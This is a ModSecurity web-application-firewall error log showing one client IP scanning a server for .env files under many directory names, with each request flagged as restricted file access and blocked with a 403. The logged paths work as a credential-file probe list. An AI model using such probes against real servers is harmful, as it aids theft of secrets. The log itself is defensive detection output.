[Mon Jul 28 20:46:10.764977 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-ItwAAAAA&quot;]
[Mon Jul 28 20:46:10.785267 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /functions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IuAAAAAA&quot;]
[Mon Jul 28 20:46:10.785500 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IuAAAAAA&quot;]
[Mon Jul 28 20:46:10.785712 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IuAAAAAA&quot;]
[Mon Jul 28 20:46:10.827440 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IugAAAAA&quot;]
[Mon Jul 28 20:46:10.827680 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IugAAAAA&quot;]
[Mon Jul 28 20:46:10.827865 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IugAAAAA&quot;]
[Mon Jul 28 20:46:10.916101 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /github-connect/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IvgAAAAA&quot;]
[Mon Jul 28 20:46:10.916329 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IvgAAAAA&quot;]
[Mon Jul 28 20:46:10.916497 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IvgAAAAA&quot;]
[Mon Jul 28 20:46:10.936868 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /google/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IvwAAAAA&quot;]
[Mon Jul 28 20:46:10.937105 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IvwAAAAA&quot;]
[Mon Jul 28 20:46:10.937318 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IvwAAAAA&quot;]
[Mon Jul 28 20:46:10.999639 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IwgAAAAA&quot;]
[Mon Jul 28 20:46:10.999858 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IwgAAAAA&quot;]
[Mon Jul 28 20:46:11.000023 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aIfFcsc5NK034Azyi1-IwgAAAAA&quot;]
[Mon Jul 28 20:46:11.020202 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IwwAAAAA&quot;]
[Mon Jul 28 20:46:11.020436 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IwwAAAAA&quot;]
[Mon Jul 28 20:46:11.020618 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IwwAAAAA&quot;]
[Mon Jul 28 20:46:11.041070 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hash/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxAAAAAA&quot;]
[Mon Jul 28 20:46:11.041307 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxAAAAAA&quot;]
[Mon Jul 28 20:46:11.041490 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxAAAAAA&quot;]
[Mon Jul 28 20:46:11.061786 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hasura/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxQAAAAA&quot;]
[Mon Jul 28 20:46:11.062017 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxQAAAAA&quot;]
[Mon Jul 28 20:46:11.062189 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxQAAAAA&quot;]
[Mon Jul 28 20:46:11.103597 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helmetjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxwAAAAA&quot;]
[Mon Jul 28 20:46:11.103838 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxwAAAAA&quot;]
[Mon Jul 28 20:46:11.104015 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IxwAAAAA&quot;]
[Mon Jul 28 20:46:11.124249 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hgs-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IyAAAAAA&quot;]
[Mon Jul 28 20:46:11.124485 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IyAAAAAA&quot;]
[Mon Jul 28 20:46:11.124659 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IyAAAAAA&quot;]
[Mon Jul 28 20:46:11.144946 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /higlass-website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IyQAAAAA&quot;]
[Mon Jul 28 20:46:11.145929 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IyQAAAAA&quot;]
